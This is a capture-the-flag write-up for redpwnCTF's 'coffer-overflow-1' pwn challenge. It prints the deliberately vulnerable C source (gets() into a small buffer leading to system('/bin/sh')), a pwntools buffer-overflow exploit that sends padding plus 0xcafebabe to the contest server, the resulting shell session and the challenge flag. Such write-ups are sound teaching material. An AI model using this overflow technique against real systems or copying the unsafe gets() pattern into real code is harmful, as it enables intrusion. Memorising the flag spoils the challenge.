coffer-overflow-1

by UltimateHG / CS_Gang

Tags: bufferoverflow pwn

Rating:

coffer-overflow-1

Author: UltimateHG

Slightly more advanced

This is a continuation of coffer-overflow-0. We take a look at the source code:

```
#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code == 0xcafebabe) {
    system("/bin/sh");
  }
}
```


 This time, we would need to not only overwrite `code`, but also overwrite it with value `0xcafebabe` in little endian. We use the same approach as before, with a padding of 32-8 = 24 characters followed by `0xcafebabe` in little endian.
Here is the final exploit:

```
#!/usr/bin/env python

from pwn import *

e = ELF("./coffer-overflow-1")
p = remote("2020.redpwnc.tf", 31255)

print(p.recvline())
print(p.recvline())
payload = b"A"*24
```

```
payload += p64(0xcafebabe)
p.sendline(payload)
p.interactive()
```

This should redirect us to shell, and with a simple `ls` we can see an entry `flag.txt`, so we simply do `cat flag.txt` to obtain the flag:

```
$ ls
Makefile
bin
coffer-overflow-1
coffer-overflow-1.c
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}
```

Original writeup (https://github.com/CSGang/Writeups/tree/master/redpwnCTF/pwn/coffer_overflow_1).

Comments